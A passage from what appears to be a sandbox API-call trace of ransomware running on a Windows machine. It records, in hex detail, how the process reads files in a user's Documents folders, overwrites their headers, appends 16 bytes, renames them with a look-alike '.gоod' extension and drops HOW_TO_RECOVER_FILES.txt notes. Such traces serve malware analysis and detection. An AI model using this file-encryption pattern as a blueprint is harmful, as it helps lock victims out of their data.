lpOldMode=0x20cec420) returned 1 [0262.469] GetFileType (hFile=0x808) returned 0x1 [0262.469] WriteFile (in: hFile=0x808, lpBuffer=0x38587b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20cec638, lpOverlapped=0x0 | out: lpBuffer=0x38587b0*, lpNumberOfBytesWritten=0x20cec638*=0x1010, lpOverlapped=0x0) returned 1 [0262.469] CloseHandle (hObject=0x808) returned 1 [0262.469] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv", lpFilePart=0x0) returned 0x54 [0262.469] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv.gоod", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv.gоod", lpFilePart=0x0) returned 0x59 [0262.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec570) returned 1 [0262.469] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\lo5zdm2upipyz1phukk.csv"), fInfoLevelId=0x0, lpFileInformation=0x20cec650 | out: lpFileInformation=0x20cec650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b26ff10, ftCreationTime.dwHighDateTime=0x1d4c653, ftLastAccessTime.dwLowDateTime=0x752233a0, ftLastAccessTime.dwHighDateTime=0x1d4c76f, ftLastWriteTime.dwLowDateTime=0x98a82458, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x292e)) returned 1 [0262.469] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec530) returned 1 [0262.469] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\lo5zdm2upipyz1phukk.csv"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\lO5zdm2UPiPYz1PhuKK.csv.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\lo5zdm2upipyz1phukk.csv.gоod")) returned 1 [0262.582] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots", lpFilePart=0x0) returned 0x46 [0262.582] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec5b0) returned 1 [0262.582] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\tx92a.ots"), fInfoLevelId=0x0, lpFileInformation=0x3b64568 | out: lpFileInformation=0x3b64568*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6498700, ftCreationTime.dwHighDateTime=0x1d4c995, ftLastAccessTime.dwLowDateTime=0xbc7cc4a0, ftLastAccessTime.dwHighDateTime=0x1d4ccb4, ftLastWriteTime.dwLowDateTime=0xbc7cc4a0, ftLastWriteTime.dwHighDateTime=0x1d4ccb4, nFileSizeHigh=0x0, nFileSizeLow=0x12113)) returned 1 [0262.582] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec570) returned 1 [0262.582] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots", lpFilePart=0x0) returned 0x46 [0262.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0262.583] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\tx92a.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0262.583] GetFileType (hFile=0x808) returned 0x1 [0262.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0262.583] GetFileType (hFile=0x808) returned 0x1 [0262.583] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0x1000 [0262.583] ReadFile (in: hFile=0x808, lpBuffer=0x3b64970, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec5d8, lpOverlapped=0x0 | out: lpBuffer=0x3b64970*, lpNumberOfBytesRead=0x20cec5d8*=0x1000, lpOverlapped=0x0) returned 1 [0262.583] CloseHandle (hObject=0x808) returned 1 [0262.583] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots", lpFilePart=0x0) returned 0x46 [0262.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0262.583] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\tx92a.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0262.584] GetFileType (hFile=0x808) returned 0x1 [0262.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0262.584] GetFileType (hFile=0x808) returned 0x1 [0262.584] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0x12113 [0262.584] WriteFile (in: hFile=0x808, lpBuffer=0x3b65c00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20cec4f8, lpOverlapped=0x0 | out: lpBuffer=0x3b65c00*, lpNumberOfBytesWritten=0x20cec4f8*=0x10, lpOverlapped=0x0) returned 1 [0262.584] CloseHandle (hObject=0x808) returned 1 [0262.584] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots", lpFilePart=0x0) returned 0x46 [0262.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0262.584] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\tx92a.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0262.584] GetFileType (hFile=0x808) returned 0x1 [0262.584] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0262.584] GetFileType (hFile=0x808) returned 0x1 [0262.584] ReadFile (in: hFile=0x808, lpBuffer=0x3b67eb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec588, lpOverlapped=0x0 | out: lpBuffer=0x3b67eb8*, lpNumberOfBytesRead=0x20cec588*=0x1000, lpOverlapped=0x0) returned 1 [0262.960] CloseHandle (hObject=0x808) returned 1 [0262.960] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots", lpFilePart=0x0) returned 0x46 [0262.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0262.960] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\tx92a.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0262.960] GetFileType (hFile=0x808) returned 0x1 [0262.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0262.960] GetFileType (hFile=0x808) returned 0x1 [0262.960] WriteFile (in: hFile=0x808, lpBuffer=0x38a51d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20cec638, lpOverlapped=0x0 | out: lpBuffer=0x38a51d0*, lpNumberOfBytesWritten=0x20cec638*=0x1010, lpOverlapped=0x0) returned 1 [0262.961] CloseHandle (hObject=0x808) returned 1 [0262.961] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots", lpFilePart=0x0) returned 0x46 [0262.961] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots.gоod", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots.gоod", lpFilePart=0x0) returned 0x4b [0262.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec570) returned 1 [0262.961] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\tx92a.ots"), fInfoLevelId=0x0, lpFileInformation=0x20cec650 | out: lpFileInformation=0x20cec650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6498700, ftCreationTime.dwHighDateTime=0x1d4c995, ftLastAccessTime.dwLowDateTime=0xbc7cc4a0, ftLastAccessTime.dwHighDateTime=0x1d4ccb4, ftLastWriteTime.dwLowDateTime=0x98f20e0c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x12123)) returned 1 [0263.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec530) returned 1 [0263.050] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\tx92a.ots"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\TX92A.ots.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\tx92a.ots.gоod")) returned 1 [0263.577] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx", lpFilePart=0x0) returned 0x53 [0263.577] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec5b0) returned 1 [0263.577] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\y9yzgia75x6z249fp.docx"), fInfoLevelId=0x0, lpFileInformation=0x3d75e08 | out: lpFileInformation=0x3d75e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f2891d0, ftCreationTime.dwHighDateTime=0x1d4d086, ftLastAccessTime.dwLowDateTime=0x9a024b80, ftLastAccessTime.dwHighDateTime=0x1d4cd26, ftLastWriteTime.dwLowDateTime=0x9a024b80, ftLastWriteTime.dwHighDateTime=0x1d4cd26, nFileSizeHigh=0x0, nFileSizeLow=0x7af1)) returned 1 [0263.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec570) returned 1 [0263.610] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx", lpFilePart=0x0) returned 0x53 [0263.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0263.610] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\y9yzgia75x6z249fp.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0263.611] GetFileType (hFile=0x8a0) returned 0x1 [0263.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0263.611] GetFileType (hFile=0x8a0) returned 0x1 [0263.611] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0x1000 [0263.611] ReadFile (in: hFile=0x8a0, lpBuffer=0x3df2ad0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec5d8, lpOverlapped=0x0 | out: lpBuffer=0x3df2ad0*, lpNumberOfBytesRead=0x20cec5d8*=0x1000, lpOverlapped=0x0) returned 1 [0263.611] CloseHandle (hObject=0x8a0) returned 1 [0263.611] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx", lpFilePart=0x0) returned 0x53 [0263.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0263.611] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\y9yzgia75x6z249fp.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0263.611] GetFileType (hFile=0x8a0) returned 0x1 [0263.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0263.612] GetFileType (hFile=0x8a0) returned 0x1 [0263.612] SetFilePointer (in: hFile=0x8a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x20cec608*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20cec608*=0) returned 0x7af1 [0263.612] WriteFile (in: hFile=0x8a0, lpBuffer=0x3df3d90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20cec4f8, lpOverlapped=0x0 | out: lpBuffer=0x3df3d90*, lpNumberOfBytesWritten=0x20cec4f8*=0x10, lpOverlapped=0x0) returned 1 [0263.612] CloseHandle (hObject=0x8a0) returned 1 [0263.612] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx", lpFilePart=0x0) returned 0x53 [0263.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0263.612] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\y9yzgia75x6z249fp.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0263.612] GetFileType (hFile=0x8a0) returned 0x1 [0263.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0263.612] GetFileType (hFile=0x8a0) returned 0x1 [0263.612] ReadFile (in: hFile=0x8a0, lpBuffer=0x3df6078, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20cec588, lpOverlapped=0x0 | out: lpBuffer=0x3df6078*, lpNumberOfBytesRead=0x20cec588*=0x1000, lpOverlapped=0x0) returned 1 [0263.754] CloseHandle (hObject=0x8a0) returned 1 [0263.754] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx", nBufferLength=0x105, lpBuffer=0x20cebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx", lpFilePart=0x0) returned 0x53 [0263.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec4b0) returned 1 [0263.754] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\y9yzgia75x6z249fp.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0263.754] GetFileType (hFile=0x8a0) returned 0x1 [0263.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec420) returned 1 [0263.754] GetFileType (hFile=0x8a0) returned 0x1 [0263.754] WriteFile (in: hFile=0x8a0, lpBuffer=0x3926400*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20cec638, lpOverlapped=0x0 | out: lpBuffer=0x3926400*, lpNumberOfBytesWritten=0x20cec638*=0x1010, lpOverlapped=0x0) returned 1 [0263.754] CloseHandle (hObject=0x8a0) returned 1 [0263.755] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx", lpFilePart=0x0) returned 0x53 [0263.755] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx.gоod", nBufferLength=0x105, lpBuffer=0x20cec0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx.gоod", lpFilePart=0x0) returned 0x58 [0263.755] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec570) returned 1 [0263.755] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\y9yzgia75x6z249fp.docx"), fInfoLevelId=0x0, lpFileInformation=0x20cec650 | out: lpFileInformation=0x20cec650*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f2891d0, ftCreationTime.dwHighDateTime=0x1d4d086, ftLastAccessTime.dwLowDateTime=0x9a024b80, ftLastAccessTime.dwHighDateTime=0x1d4cd26, ftLastWriteTime.dwLowDateTime=0x996ba5f2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7b01)) returned 1 [0263.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec530) returned 1 [0263.755] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\y9yzgia75x6z249fp.docx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\Y9YzGiA75x6z249fp.docx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\y9yzgia75x6z249fp.docx.gоod")) returned 1 [0263.756] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20cec250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x55 [0263.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cec770) returned 1 [0263.756] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\MQj5_9oiT2beDQwJagy\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\mqj5_9oit2bedqwjagy\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a0 [0263.757] GetFileType (hFile=0x8a0) returned 0x1 [0263.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cec6e0) returned 1 [0263.757] GetFileType (hFile=0x8a0) returned 0x1 [0263.758] WriteFile (in: hFile=0x8a0, lpBuffer=0x395ba60*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20cec838, lpOverlapped=0x0 | out: lpBuffer=0x395ba60*, lpNumberOfBytesWritten=0x20cec838*=0x5d0, lpOverlapped=0x0) returned 1 [0263.758] CloseHandle (hObject=0x8a0) returned 1 [0263.758] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20cecc80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x41 [0263.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced1a0) returned 1 [0263.758] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\QCgW-p\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\qcgw-p\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a0 [0263.759] GetFileType (hFile=0x8a0) returned 0x1 [0263.759] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced110) returned 1 [0263.759] GetFileType (hFile=0x8a0) returned 0x1 [0263.760] WriteFile (in: hFile=0x8a0, lpBuffer=0x395f2b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20ced268, lpOverlapped=0x0 | out: lpBuffer=0x395f2b8*, lpNumberOfBytesWritten=0x20ced268*=0x5d0, lpOverlapped=0x0) returned 1 [0263.760] CloseHandle (hObject=0x8a0) returned 1 [0263.760] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20ced6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3a [0263.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20cedbd0) returned 1 [0263.760] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\SloU6Jo\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\documents\\slou6jo\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a0 [0263.761] GetFileType (hFile=0x8a0) returned 0x1 [0263.761] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20cedb40) returned 1 [0263.761] GetFileType (hFile=0x8a0) returned 0x1 [0263.762] WriteFile (in: hFile=0x8a0, lpBuffer=0x3962af0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20cedc98, lpOverlapped=0x0 